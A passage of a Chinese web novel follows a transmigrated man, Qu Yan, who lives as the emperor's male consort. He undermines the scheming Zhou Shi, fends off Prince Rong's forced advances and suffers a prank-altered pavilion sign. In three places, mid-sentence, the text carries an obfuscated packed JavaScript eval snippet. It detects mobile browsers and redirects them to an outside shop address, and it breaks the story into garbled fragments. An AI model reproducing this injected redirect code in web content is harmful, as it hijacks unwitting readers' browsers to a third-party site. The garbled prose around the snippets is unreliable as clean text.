如果曲延没有看过原书,也许会被装乖的龙傲天蒙骗过去,以为只是个单纯热情的少年。而实际上龙傲天每次来皇宫,都是对皇权霸业的渴望,对江山美人的不择手段。 如果不是周启桓健在,恐怕龙傲天早就迫不及待地坐上那把龙椅。 此刻坐在上位的曲延,想到的却是一年后自己的结局——被龙傲天殉葬。 “起来吧。”曲延平静地说,“周焱枫。” “灵君唤我小名周拾就好。”龙傲天自来熟地说,从怀中取出一只小匣子打开,“小小心意不成敬意,这是东海天然红玛瑙雕刻的凤凰,还望灵君喜欢。” 这龙傲天不光人是红的,送的礼物也是红的,加上曲延也是一身红衣,这偏殿可真是红彤彤喜庆。 曲延不禁笑了一声。 龙傲天自顾上前,掀开珠帘走进去,停在木阶下,双手奉上小匣子。 杵在曲延身边的谢秋意下去,接过匣子。 周拾打量谢秋意姣好的面容,目光多停留了会儿。 谢秋意面色冷淡,将匣子奉到曲延面前。 曲延看了眼,没有上手摸,“确实不错,有心了。” 周拾笑道:“灵君喜欢就好。” 曲延上下扫量龙傲天,确实如同书中所写那样,眉眼清俊,风流英气,是个春风满面的少年郎。 一般龙傲天的容貌不算太出挑,但也差不到哪里去,是那种讨女人喜欢的可乖可野的长相。 周拾笑意融融:“侄儿与灵君也算见过几次面,灵君为何这般看我?” 曲延:“?” 周拾抬着下巴,大胆地直视自己皇叔的男妃,暗想:都说红颜祸水,这曲家的傻儿子倒是有蓝颜祸水的本事,五官竟比那些官家小姐还要精致些。也不知喜欢男人是什么感觉,如果是长成这样的,也不是不可以试试…… 曲延被龙傲天盯得心中发毛,“呕……” 周拾:“??” 曲延喝一口小米粥压压恶心感,清清嗓子说:“周拾,听说你与徐太尉家的幼女有婚约在身?” 周拾答道:“是。” 曲延一笑:“你大概知道,徐太尉是徐太妃的兄长,而荣王是徐太妃的儿子,荣王做了什么,你也知道吧。” 周拾拿不准曲延的意思,之前看到的还是傻子,现在怎么好像变正常了? 曲延修长白皙的手指敲了敲桌面,“念在你这么有孝心的份上,我提醒你一句。” 周拾躬身行了一礼,“请灵君赐教。” “你这个婚,还是退了好。” 周拾背脊一僵,“为何?” “荣王得罪了我,就是徐家得罪了我。”曲延把话说明白,其实目的只有一个,“你如果还和徐家有瓜葛,那便也是得罪了我。” 周拾:“……”你谁啊,真把自己当根葱?? 这话当然是不能说出来的,刚才那点旖旎的心思烟消云散,周拾挂上人畜无害的微笑:“灵君这话,侄儿听不懂。荣王虽有过错,到底没有酿成大错,皇叔宽仁,又怎会真的记恨自己亲兄弟?” 曲延也没指望三言两语就让龙傲天和徐家断了姻亲,确实,他现在的分量不足以让龙傲天把他放在眼里,今天来请安,估计也是为了讨好大周的皇帝,在朝臣眼中留下一个慈孝的形象罢了。 “你说的对。”曲延不再多费口舌,自顾吃饭。 周拾待了会儿,觉得时间差不多了,便告辞了。 吃完饭,曲延想了小半天怎么搞黄龙傲天和徐椒的联姻,唯一的突破口大约就是徐乐焉——但凡有一点姐妹情,徐乐焉必然不愿意看见自己的妹妹最后落得十四岁自缢而亡的结局。 那么接下来,就是想办法和徐乐焉搭上线,也不知上次有没有给徐乐焉留下好印象……肯定没有了,徐乐焉看起来和周嵘这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647430|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表兄关系挺不错的。 但至少确定了初步计划,曲延睡起了午觉。 一觉到下午,忽然被轻柔的女声唤醒:“灵君,裁造院送了成衣来请您挑拣。” 曲延迷迷瞪瞪洗了一把脸。 裁造院的人在外面候着,曲延让他们进来。 端着衣服的清一色小宫女,领头是个干瘦的太监,笑道:“灵君,这些都是新制的衣裳,请灵君过目。” 足足两列小宫女,一列十来个,手上端着黑漆托盘,衣服从亮色到暗色一应具有。 恰在此时一声唱喝:“陛下驾到——” 众人跪下迎接。 高大利落的玄青色身影走了进来,周启桓一身常服,神色冷峻,看向唯一傻站着的曲延。 曲延招财猫似的竖起爪子欢迎,“陛下,今天这么早下班。” 周启桓一瞥那只爪子,“挑衣服?” “嗯。你帮我掌掌眼,哪件好看?” “曲君穿什么都好看。” 曲延眨巴眼睛,强行从帝王的身上挪开视线,让众人平身,随手指道:“这套不错,蓝白搭配像运动服。” “运动服?” “就是活动起来比较方便的衣服。” 周启桓扫视一圈,拿起一套内里是棉绸、外罩绫罗的红白色窄袖衣裳,“这是骑射服。” 曲延这就去看骑射服,越看越喜欢,“那就这套。” “不再挑挑?” “那我再挑两套?”曲延没有厚脸皮地认为衣服都是给他的,后宫那么多人。 周启桓望着他,冷翠色的眸子平静如湖:“曲君很容易满足。” 曲延又挑了两套喜欢的样式,都是常服,色调搭配也不张扬。尤其一套淡绿的衣裳,料子他尤为喜欢,又软又薄又清凉,夏天穿着必然凉快。 爱不释手地摸着衣服,曲延倒是想起一件微不足道的小事。 高中的时候,他攒了一学期零花钱,在换季的时候买了三套衣服。个子蹿得快,之前的衣服不是袖子短,就是露脚踝,日常穿着不体面。 他将衣服拿回家那天晚上,母亲抱怨他只想着自己,不给弟弟买件衣服。 新衣服只穿了一套,其他两套被弟弟拿走,父母这才没说什么。 过了半个月,曲延星期天放假回家,弟弟正在父母的注视下试穿新买的衣服。见他回来,欢声笑语顷刻沉默下来,母亲有些尴尬地说:“你弟弟平时都是捡你的旧衣服穿,天冷了,我们给他买几身。” “哦。”曲延习惯了。 现在,他的衣服再也不会有人抢了吧。 曲延抿起唇角。 “衣服都留下。”帝王忽然发话。 “遵。”裁造院的人放下衣物,恭谨地退出夜合殿。 曲延怔然。 吉福喜笑颜开地命人将衣服都仔细检查,收入曲延专用衣柜,一伙人各忙各的,只剩曲延和冷若冰山的帝王四目相对。 “……太多了。”曲延说。 “不多。”周启桓目色如寂夜月光,拂照眼前青年的脸,“本就是为你裁制。” 曲延摸摸自己心脏的位置,好奇怪,本来空空的,现在好像被那么多衣服填满了。 “都是你的。”周启桓牵起曲延的手,“朕饿了,去吃饭。” 7. 抓奸了 自从龙傲天向曲延问过安,来觐见的人增多,上到后宫妃嫔,下到朝臣命妇,一波接着一波,以至于曲延之后三四天笑得嘴都快抽筋。 大家好像默认他是个傻子,拿场面话客套几句,送上礼物以示对这位新晋“宠妃”的尊敬,再请他多多关照某某某。 不管曲延有没有听进心中,反正脸面上是顾全了。 曲延别说关照某某某,就连妃嫔命妇的脸和名字都没记住。迄今为止,也就徐乐焉让他印象颇深,还是因为对剧情有推进作用。不过他没有找到机会和徐乐焉私下交谈。 经过十几日的冷处理,荣王在帝王大婚之夜意图劫走曲延之事,朝堂内外沸沸扬扬,终于有了定论。 荣王贵为天潢贵胄,皇帝的亲弟弟,曲延也没指望周启桓冲冠一怒为蓝颜,真把荣王怎么样。而且荣王犯的不算大事,当做帝王“家事”小惩大诫一番,也就算了。 曲延以为荣王放出来后最多再禁足一段时间,事情的发展却超乎他预料。 帝王下旨,荣王周嵘枉顾人伦,犯上妄为,即日启程前往领地渡城,无召不得回京。 朝野大震,后宫议论纷纷。 夜合殿一如既往地肃静,仿佛什么都没发生,宫人训练有素得令人钦佩。 曲延还是指使系统,从旁处偷听来的流言蜚语——系统展示的画面和监控差不多。 不知哪个宫的小宫女躲在墙角说着近日的八卦。 “……都说骨肉至亲,陛下怎忍心将自己的亲弟弟遣返领地?听闻渡城地处西北,荒凉至极,还常有狄人侵犯,乱着呢。” “唉,那能怎么办,渡城是先皇亲封给荣王的。” “陛下登基,十几个兄弟死的死,流放的流放,也就英王、荣王在京,如今荣王也走了。” “荣王也算英俊倜傥,怎的就喜欢男人。” “陛下不也……” “莫要胡言,小心隔墙有耳,掉脑袋的。” “荣王有断袖之癖,陛下却未必吧。谁不知曲家军功赫赫,却无一女,不然也不会送灵君入宫。” “军国大事,也是你我能置喙的?”年长些的小宫女捂住另一小宫女的嘴,急急地走出去,“快别说了,还得给贵妃送晚上要用的玫瑰皂角。” 年龄小些的宫女欢快地跟上道:“此次七夕,贵妃娘娘定然能在鹊桥上一舞倾城,打动陛下的心。” 曲延磕着瓜子,刷短视频似的,换了下一个画面。 一位头戴含苞待放荷花的云髻美人,坐在四周挂着双重纱帘的凉亭中,悠悠地摇着团扇。曲折的木桥上走来一道年轻俊朗的少年身影。 “侄儿周拾,给楚美人请安。” “原来是小世子,这么热的天,烈日炎炎,怎好在外面站着,进来吧。” 周拾大方地走了进去,然后大方地与楚美人调情,再大方地吃起了对方的朱唇。 楚美人躺在周拾的怀中,美目流转,娇声道:“原来你是这样的世子,从前真是错看你了。” 周拾捏住楚美人小巧的下巴,霸气侧漏柔情款款:“侄儿也没想到,原来娘娘是这样的美人。” 然后继续吃嘴巴子,并摸来摸去。 曲延:“……………………” 光天化日,朗朗乾坤! 他们竟然在皇宫里做出这种苟且之事!! 曲延大开眼界,瓜子都忘了吃。 系统:【……触发主线任务,现在立刻马上分开龙傲天和楚美人。】 【奖励积分:500。】 曲延:“给我录屏,我要给周启桓看。” 系统言简意赅:【办不到。】 曲延二话不说,唤来谢秋意,“我接到举报,现在立刻马上带上人马去鱼水亭捉奸!” 谢秋意:“?” 尽管不明所以,谢秋意还是带上宫女侍卫去了。 曲延暂时不方便露面,在夜合殿等得团团转,“什么鱼水亭,怪不得会发生那种事,以后就叫绝情亭!” 正要鱼水之欢的龙傲天和楚美人,被谢秋意抓了个正着。 楚美人当场吓得晕死过去。 龙傲天不愧是龙傲天,在被抓包后第一时间撇清关系:“我才十八岁,是楚美人勾引我!” 为了维护皇家尊严,侍卫向皇帝禀明情况后,暂且将周拾收入大理寺。 曲延听到完成任务的提示音,一屁股坐在椅子上,“妈呀,真刺激。” 系统:【以后刺激的多了去了,最好习惯哦。】 曲延:“……” 大理寺刚放出一个荣王,又收入一个英王世子,也是蓬荜生辉了。 曲延转而欢喜,星星眼问:“周启桓会不会将龙傲天也流放?” 系统:【就算流放,龙傲天在路上也会得到机遇奇缘,恐怕不到一年就会杀回来夺位。】 曲延:“……天高皇帝远,还是把他放在眼皮子底下比较好。” 午间,周启桓回夜合殿陪曲延用午膳。 饭桌上食不言,用完膳,周启桓慢条斯理地漱口,净手,抬眼看向捧着比脸大的汤碗喝汤的曲延,问:“曲君是接到何人举劾?” “举劾?”曲延思索这个词的意思,“我没看到有人举着盒子啊。” 面对文盲,大周的帝王表现出了良好的修养与气度,“……关于周拾与楚美人之事,曲君是如何知晓的?” 曲延这才明白“举劾”就是“举报”的意思,真是文绉绉的,他早就想好说辞:“就是一个小宫女,我没看清她模样,说完就走了。陛下,您可不能怪罪她。” 周启桓颔首,此事就此揭过。 边上的吉福和谢秋意对视一眼,皆沉静如水——帝王的寝宫,守备森严如铁桶,岂是一介小宫女可以随意闯入的。 周启桓去了旁斋。 曲延瞧不出这位被亲侄子戴了绿帽子的皇帝是否动怒,午后端了一盘冰镇过的荔枝过去,结果这荔枝大半都进了他自己的肚子里。 蝉鸣阵阵,恍若雨落。 曲延又给自己剥了一颗荔枝,将要吃下通透如玉的果肉时,猛然看到高脚白玉盘中仅剩的四五颗荔枝,张大的嘴巴缩小,将荔枝颤颤地递到帝王薄而淡的唇边,“陛下,吃一个吧。” 周启桓垂眸,吃下了这颗荔枝。 须臾,装果核的盘中多出一枚椭圆温润的荔枝核,与那一小堆黑褐色果核挤挤挨挨。 “好吃吗?”曲延问,“我再给你剥?” “嗯。” 吉福端着茶水进来时,看到的就是这样一幅“夫夫和鸣”的场景,顿时笑得眼皮褶子都多出了两道:“陛下,灵君。” 除了给周启桓的茶,还有曲延爱吃的酒酿和桂花糕。 曲延吃完犯困,打了好几个哈欠。 周启桓抬眼,“困了就去睡。” “陛下,你不困吗?”曲延是服气的,周启桓起早贪黑,大中午居然都不会犯困。 也许不是不会犯困,而是用茶水醒神撑着。 “朕不困。”周启桓如常批阅奏疏。 曲延想了想还是直言不讳:“陛下,你这样身体迟早会垮的。” 周启桓垮不垮曲延没看到,反正吉福的脸色当场就垮了,着急忙慌道:“灵君说笑了,陛下正值壮年,龙精虎猛,力能扛鼎。” “……” 周启桓不置可否。 龙精虎猛这个词用在冷若冰山的周启桓身上,实在违和,曲延都要怀疑周启桓是不是对那种事不感兴趣,否则这些日子除了夜合殿,就没去过后宫其他地方。 不过现在不是想这些的时候,为了将来着想,曲延必须说服周启桓劳逸结合,首先从午休开始。996的牛马都没这么卷的。 曲延苦思冥想,奈何到古代就成了文盲,编不出辞藻华丽的话,他望着那只拿着朱笔批阅奏疏的颀长如玉的手,骨节分明,或许因为常年保持这样的握笔姿势,尽管优雅,看起来却有些微扭曲之处。 “陛下,你有腱鞘炎吗?”曲延忽然问了这么一句。 周启桓动作一顿,“剑鞘……盐?” “就是你的手腕的位置,会疼吗?” “偶尔。” “这就是腱鞘炎前期啊!都是因为你太劳累了!”曲延抓住帝王的手,两眼闪动着泪光,“陛下,休息一下吧。” 周启桓不惊不动,“朕不累。” 曲延抱着周启桓的手不撒,无声对峙。 “放开。” “不放。” 一旁的吉福眼观鼻鼻观心。 周启桓沉默须臾,一根一根掰开曲延的手指,“朕还有政务要处理,曲君若是累了,回去歇息。” 曲延睁大眼睛,两爪空空,干脆往桌上一趴,双臂搁在周启桓面前挡住奏疏,破罐子破摔:“你要是不休息,我就捣乱!” “……” 曲延侧过脸,观察帝王神色。 周启桓凤目低垂,冷翠色的眸子静静地看着他。 曲延胆子又肥了一点,把奏疏推到桌子边缘,啪嗒一声,奏疏掉在地上。 帝王注视曲延抵在案上白乎乎的脸蛋,小小的,下颌尖尖,腮边有肉,猫儿似的眼睛黑白分明,睫毛很长,眼下的小痣显出几分狡黠,不魅惑,反而有些幼态。 曲延眨巴眼睛,琢磨不透周启桓沉默代表的意思,悄摸摸用手指又把一本奏疏扫到地上,“我真的会捣乱哦。” 当然,这是试探,如果周启桓生气,曲延立马变成火箭发射出去。 经过十几秒的深情对视……啊呸,是大眼瞪小眼,曲延不需要变身成超出这个时代的存在,冷若冰山的帝王开了金尊玉贵的口:“走吧。” 曲延眼睛一亮,但觉周启桓离“过劳死”的结局又远了一点,长命百岁指日可待,不由得心花怒放到脸上:“陛下,我们去睡觉吧!” 然后他们并排躺在寝宫的大床上,谢秋意贴心地支走所有伺候的人,关上窗户,放下纱帐,方便他们“白日宣淫”。 曲延:“……” 周启桓:“……” 曲延:“他们的心真脏。” 他和周启桓只是纯洁地抱抱过,纯洁地拉过小手,纯洁地睡在一张床上而已。 帝王不语,睡姿端正地阖上眼睛。 曲延也只好闭上嘴巴。 约莫半小时后,曲延倏然睁大眼睛,对系统说:“我睡不着。” 系统:【……我也是有休息时间的。】 曲延侧过身,用目光描摹帝王深邃峻拔的脸部轮廓,“哦,那就当我自说自话,我发现——” 过了一秒,五秒,十秒。 系统忍不住:【你发现了什么?】 曲延几乎要手舞足蹈:“我发现周启桓好帅啊!和他结婚我一点也不吃亏!” 系统:【……………………】 “哎你说作者该不会一千度近视眼吧?周启桓这样的都不能当主角,让龙傲天当猪脚,我算是看出来了,那就是一个把唧唧当脑子使的货。” “哪像周启桓,夙兴夜寐,日理万机,宵衣旰食,亲临朝政,不辞辛劳,勤勤恳恳!” 系统:【说到周启桓,你都变得文采斐然了呢。】 曲延当做是夸奖,自顾嘚瑟着,完全没了当初和男人结婚的别扭。说实话,他也不知道自己是不是弯的,反正单身狗二十多年,一上来就当皇帝的男妃,某种意义上是他赚了。 如果有命苟着,那不就一辈子荣华富贵享之不尽? 曲延做起了下半辈子吃香喝辣的春秋大梦,并且在梦中胆大包天地把腿翘在九五之尊的龙体上。 一觉醒来,他被卷成了一只毛巾蛋糕。 曲延以为是自己卷的,费力地挣脱出来,宫女们进来伺候。他看了眼窗外乌漆嘛黑的天,问:“几时了?” 谢秋意答道:“戌时三刻了。” “陛下在书房?” “陛下午后去了前朝。” 显然是去商议政事,曲延点头:“开国会去了。” 晚膳是等不到一起吃了,曲延自己先吃了饭,唉声叹气:“一个人吃饭,好孤独,好寂寞。” 系统:【……】 边上的宫女小太监默不作声。 曲延胃口不佳,吃了一碗米粥,两块南瓜饼,几样爽口小菜,还有小半个西瓜就饱了。他摸了摸自己的大腿侧边,没有口袋,没有手机。 曲延问:“陛下有说什么时候回来吗?” 谢秋意:“没有。” “哦。”曲延在偌大的夜合殿内走来走去消食,太安静了,他让系统播放音乐缓解自己的空虚寂寞冷。 系统放了一首凉凉。 曲延:“……你爸的别放了,存心的吧。” 就在曲延百无聊赖,想念自己的贝斯与手机之际,忽然听到一阵悠远的箫声,音色如同溪水漱石般清雅,曲调如云卷云舒般收放自如。 曲延瞬间被吸引,不由得心潮澎湃:“啊,音乐,美妙的音乐!” 他立马走出夜合殿,仔细聆听。 “伯牙,是你吗伯牙?” 曲延欢快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曲延反应了好一阵,伯牙子期千古知音的佳话咔嚓破碎,他拔腿就要跑,“操!不早说!” 系统:【已经给出危险提示了呢,是宿主睁眼瞎呢。】 睁眼瞎的曲延确实没认出来周嵘,且不说那天晚上只见过周嵘一面,还是在夜里。这么些时日过去,周嵘面目憔悴,清俊的脸更是清减不少。 “少灵。”周嵘嗓音沙哑叫住他,“这应当是我们最后一次见面。” 曲延拔开的腿定在原地,他想起来了,周嵘虽然从牢里出来,但要即日启程前往领地,无召不得回京。 “你能来,我很高兴。”周嵘寥落地握着玉箫,目光紧随曲延一举一动。 曲延的心还是不够硬,默默叹了一口气回过身来,“荣王殿下即将启程,为何半夜在此吹箫?” 周嵘浅浅笑了:“少灵喜爱音律,每每听到有人吹箫弹琴,总会驻足。” 曲延愕然,他是喜欢音乐不错,小傻子也喜欢? 并且周嵘对此了解颇深。 “你既然了解我,就应该知道,我不喜欢被人胁迫。”曲延想起那晚被下药带走,心中仍有芥蒂。 周嵘捏紧玉箫,“抱歉,是我心急了。你与皇兄成亲,我无法接受。” “……” 曾经的青梅竹马沦落到如今尴尬的境地,可谓是造化弄人。 “事情已经发生,就不要想了。”曲延洒脱地说,“人要向前看。你去了领地,未必是坏事。人生那么长,将来你总会遇到一个让你倾心相待的人。” 这碗人生鸡汤周嵘有没有喝曲延不知道,反正他自己挺惬意的。 也许周嵘不是坏人,只是被感情蒙蔽了双目。 夜风乍起,潮热中裹挟丝丝寒意,周嵘垂眸紧盯眼前脸庞纯净的青年,胸腔泻出一声自嘲的笑:“你真的觉得,我会喜欢别人?” 曲延想再灌些鸡汤,却在对上周嵘的眼睛时倏然凝滞。 那是一双怎样的眼睛,仿佛容纳了人世所有的悲苦爱恨。 曲延失去声音,怔在原地。 周嵘逼近,一手抓住他手腕,砰一声抵在小楼木质外墙上。 曲延慌乱挣扎,手腕却如被老虎钳箍住,“周嵘,你放开!” “你现在叫我名字了?”周嵘逼近,“刚才不是叫我荣王殿下,跟我不熟?” “……” “少灵,我们一起长大,我不明白。” “什么?”曲延继续挣扎,却眼看周嵘低下头朝自己的脸颊靠近,四目相对间,一股凛冽的寒意萦绕在他们周身。 周嵘喉结滚动,嗓音被冰淬过般:“我不明白,为什么我这样喜爱你,你却从来看不见我心意。” “……”曲延深吸一口气,“周嵘,难道你喜欢我,我就必须喜欢你?就因为我是个傻子,就该任人强取豪夺?” 周嵘语塞,五指如同铁钳般越攥越紧,骨骼隐隐作响。 曲延忍痛蹙眉,哼都没哼一声,倔强地瞪着周嵘,“放开。” 周嵘眼眶泛红,一字一字道:“那至少在走之前,我要向你讨一样东西。” 语罢不由分说就要亲上去。 啪! 曲延一巴掌打过去。 周嵘脸颊往边上一偏,眼睛狼一般盯着曲延。 “你有病啊!”曲延使劲挣脱被钳制的那只手,狠狠踩上周嵘脚背,“操你大爷的!” 越是挣扎,周嵘越是发了狠,用力将曲延困在自己手臂与墙壁之间。缠斗间玉箫坠地,铮然断成三截。 夜色中冷光一闪—— 一支箭破空而来,咄的一声钉在周嵘手边。 周嵘背脊一僵,扭过头,拉满血丝的眼睛立即看向遥遥的高处,那里埋伏着弓箭手。只要他再敢轻举妄动,他毫不怀疑,下一箭射穿的就是他的喉咙。 “……呵。”周嵘喉间泻出一声带着血腥气的低笑,“少灵,周启桓他……还真是对你寸步不离。” 正在又踹又踢又骂的曲延没有与周嵘废话,趁着周嵘愣神的工夫,曲延踏过破碎的玉箫,越过栏杆往下一跃! “少灵!!”周嵘没抓住。 曲延跳下去的0.01秒就后悔了,二楼有这么高吗?!冲动是魔鬼,早知道就不冲动了。 这一摔不瘸腿也要鼻青脸肿,曲延认命地闭上眼睛—— 黑暗中,他飞了起来。 这感觉很熟悉。 就像……那晚周启桓单手抄起他腰身,让他如同一只轻盈的燕子,避开刀兵箭雨。 旋转,归巢。 曲延睁开眼睛,再次对上那双被冰雪覆盖的森林湖泊般的双瞳,那样沉静且笃定地望着自己。平静的湖面下,是剧烈跳动的心脏。 是怎样的速度,才会让仪容一丝不苟的帝王发丝微微凌乱,呼吸也乱了分寸。 8. 玩脱了 夜风猎猎,虫鸣寂静,唯有檐角风铃发出清响。 曲延惊魂甫定,一时间没有出声。 系统的声音突兀地跳出来:【白天才去抓奸别人,现在就被人抓奸了呢。】 曲延:“……” 七月飞雪才能阐述他的冤情。 可惜没有这个七月只有流火,没有飞雪。曲延只能硬着头皮自己解释:“陛下,我听到箫声才会过来,不知道荣王在这里。” 黯淡的夜色中,帝王冷绿的眸子如深渊,嗓音听不出喜怒:“嗯。” 曲延不想落得一个与旁人私会的罪名,还要解释,就听周启桓又说了一句: “古有闻鸡起舞,今有闻箫上当。” “……” 曲延呆住,他这是被捉弄了吗? 周启桓呼吸平缓,抬眼往上瞧去,贤月楼二楼栏杆边伫立一道修长的身影,冷箭的寒光掠过,沉默中满是肃杀之气。 最终,周嵘跪了下来:“臣弟拜见陛下。” 在那万箭齐发之夜,周嵘尚且叫周启桓一声皇兄。 周启桓冷冷道:“荣王,朕特许你与徐太妃话别,既然已经说完,出宫去吧。” “……遵。”周嵘跪着没有起身,也未抬头,背脊如一根紧绷的弦,他怕自己一动弹,就再也停不下。 直至周启桓携曲延而去,周嵘才抬眼看那夜色中最后一抹微光——那是曲延的背影。 光消失在重檐玉宇中。 周嵘捡起碎裂的玉箫,用力握住,殷红的血如涓涓细流而淌。疼痛让人所思所想皆明了,也让人骨血脏腑体会彻寒滋味。 “少灵,我们没有结束。” “总有一日,我会将你夺回来。” “尸山血海,生灵涂炭,万劫不悔。” …… 回夜合殿的路上,曲延自知理亏,蔫头耷脑地落后周启桓两三步。 周启桓放缓脚步等他跟上。 曲延没看路,一头撞上帝王高大挺拔的背,登时脑袋晕乎乎,只觉斗转星移天在转。 周启桓耐心地等他的天不转了,牵起他的手,“走路时要看前面。” 曲延老实道:“我再也不乱跑了。” “嗯。” “我好像失忆了。” “是吗。” 曲延奇怪道:“陛下不觉得我和从前相比,变了吗?” “没变。”周启桓平静道。 “其实我不记得荣王是谁。”曲延知道这很冒险,但只有说真话,才能将隐患摘除,“我也不记得小时候的事了。” 帝王侧过峻拔如峰的脸,优越的眉弓被月色镀上一层辉光,那双冷翠的眼睛仿佛能将一切看穿,“不记得,朕可以讲给你听。” 曲延张大眼睛,讷然半晌问:“在陛下眼里,我是一个傻子对吗?” “是挺傻的。” “……”曲延鼓起腮帮,“所以我说什么你都不信。” “朕信。” 曲延兀自纠结,他都把话说到这份上了,周启桓还没听懂?抑或只是将他的话当做胡言乱语?算了,来日方长。总有一天,周启桓会明白他和小傻子不是一个人。 “嘶。”曲延手腕一痛。 即便在夜幕中也能看出来,他的右手腕青紫一片,活像被施了酷刑——不知是周嵘那个混蛋太用力,还是这副身体太脆皮。曲延觉得自己应该将身体锻炼提上日程了。 这一通折腾下来,曲延疲累至极,回去洗洗便在床上摊成一张猫饼,十秒入睡。 以至于他错过了帝王身披素色浴袍坐在床榻边,长发湿漉漉垂下,低眉敛目拨开药酒瓷瓶的模样。 周启桓倒了一点药酒在纹路清晰而错乱的掌心,搓热了,覆在曲延青紫肿胀的手腕,均匀柔和地涂抹开来。 一遍一遍,直至肿胀以肉眼可见的速度消了一半。 周启桓刚要抽手,却被曲延无意识地抓住,放在软乎乎的颊边蹭了蹭。曲延的身体蜷缩起来,抱着他的手,如同抱着一根浮木。 枝形烛台灼灼,灯芯噼啪炸了一声,火光摇曳,在鸳鸯金红纱帐留下影影绰绰的颤动。 帝王垂眸凝视睡熟的青年,指尖抚过青年眼下那颗小小的痣。 “别怕,朕在。” 翌日是个大晴天。 荣王启程前往领地渡城,宫墙之上,只有徐太妃一人遥遥含泪相送。 曲延一日既往睡懒觉,等他起来,流放的人都走出十里地了。他问系统:“周启桓去送了吗?” 系统:【没有。】 曲延没再多问,“龙傲天怎么样了?” 【龙傲天刚吃过一顿丰盛的早饭,有烧麦,鲍鱼,粉蒸肉。】 “凭什么?大理寺伙食那么好??” 曲延用完早膳,问谢秋意有没有大理寺那边的关系。 谢秋意眼皮一跳,“灵君有何吩咐?” 曲延:“周拾吃得太好了,饿他几顿。” 谢秋意:“……” 于是这天中午,大牢里的龙傲天只有馒头和咸菜,他当场掀了桌子,大少爷脾气发作好大一通火。 饿极了,周拾还是捡回了馒头,边啃边唤出自己的系统,忍辱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647432|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负重道:“二十年河东,莫欺少年穷!我要用金手指——倒霉云!” 曲延不知龙傲天心路历程,下午,他听谢秋意禀报:“灵君,您下令将鱼水亭改名,工部已经办妥。” “这么快?奖励他们每人一根鸡腿。”曲延心中有了主意。 阳光明媚,帝王在书房处理堆积如山的政务。 曲延一步一步挪过去,绕着皇帝顺时针走一圈,再逆时针走一圈,腰间环佩叮当,衣袖不时扫到,带去阵阵合欢熏香。 周启桓终于抬起眼睛。 曲延伸胳膊,伸腿,伸懒腰,捧着脸趴在桌案上,胆大包天近距离观瞻帝王俊美无俦的脸。 近到呼吸几乎交融在一起,曲延不自在地拨弄奏疏,将其一点一点推到桌子边缘。 周启桓不动如山,淡色薄唇轻启:“曲君意欲何为?” 曲延笑得像一朵花,脱口而出:“陛下陪我玩。” 其实是想让周启桓放松一下。 伺候在帘外的吉福极有眼色,油光水滑的老脸挤出会意的笑:“陛下,听闻近日御花园新进几株稀有品种的牡丹,不如带灵君去看看?” 曲延偷偷给吉福点一个赞,“是啊,我还没去过御花园呢。” 冰山般不可亲近的帝王,就这么被曲延拐到了御花园。 宫女在旁举着华盖为他们遮阳。曲延跑跑跳跳,总是到太阳底下,皮肤白得发光,明眸皓齿,一身清爽绿衣衬着满园芳菲,更显绝秀。 周启桓听着曲延说笑,不时给出回应,目之所及不是花色,而是容色。 曲延跑累了,指着湖心的亭子说:“陛下,我们去那里歇歇吧。” “嗯。” 恰有清风徐来,吹皱一湖涟漪。一绿一玄身影走在蜿蜒曲折的湖心木桥上,宛若神仙眷侣。宫女太监如一条彩色凤尾落在后面。 一朵诡异的土黄色中带惨绿的云团飘到曲延头顶上方三四十米处。 曲延浑然不觉,步伐轻盈来到亭子前,举起手臂献宝似的,“当当当当当~陛下你看我为鱼水亭改的名,绝情亭,是不是顺眼多了?” 周启桓抬眼望去,目光一顿。 众人一齐瞧去,凝滞蔓延。 曲延:“?” 系统:【……从今往后,你不光是大周朝第一位男妃,还是一位奇葩男妃。】 曲延意识到不妙,扭头,往上看。 只见亭子上方的乌木牌匾上刻着三个篆体大字:绝精亭。 曲延:“…………………………” 曲延当场裂开:哪个刁民想害我!!! 9. 知心人 聒噪的蝉鸣声浪此起彼伏,湖心小亭前却越发岑寂。 良久的沉默后,吉福小心翼翼开了口:“陛下,许是工部的人听岔了,灵君定然不是故意为之。” 曲延不住点头,眼巴巴地望着英明神武的皇帝陛下。 帝王淡声道:“传工部与翰林院。” “翰林院?”曲延不懂怎么扯到了翰林院。 “字是工部刻的,字迹出自翰林院书法伎术官。” 曲延没想到,宫中一个小小的牌匾改动,居然出动两大官署。按理说,规章制度这么完善,不该出岔子,而且他明明刚才看到的就是“绝情亭”。 怎么一眨眼就变成了“绝精亭”? 有古怪。 曲延抚着下巴,名侦探附身思忖须臾,问系统:“是不是龙傲天搞的鬼?” 系统:【看头顶。】 曲延仰头看去,正看到那一团土黄惨绿的云团,大吃一惊:“为什么有一坨屎飘在我头上?!” 此话一出,周遭寂静。 宫人们翘首望去,满面震惊,那团不知何时出现的云确实像一坨…… 曲延飞快挪到周启桓身边,屎状云跟着挪动。 “……” 曲延不信邪地躲进亭子里,屎状云飘到亭子上方,俄顷,亭子发出吱呀的声响。 周启桓面色微变,一把抓过曲延,将他拉出来。 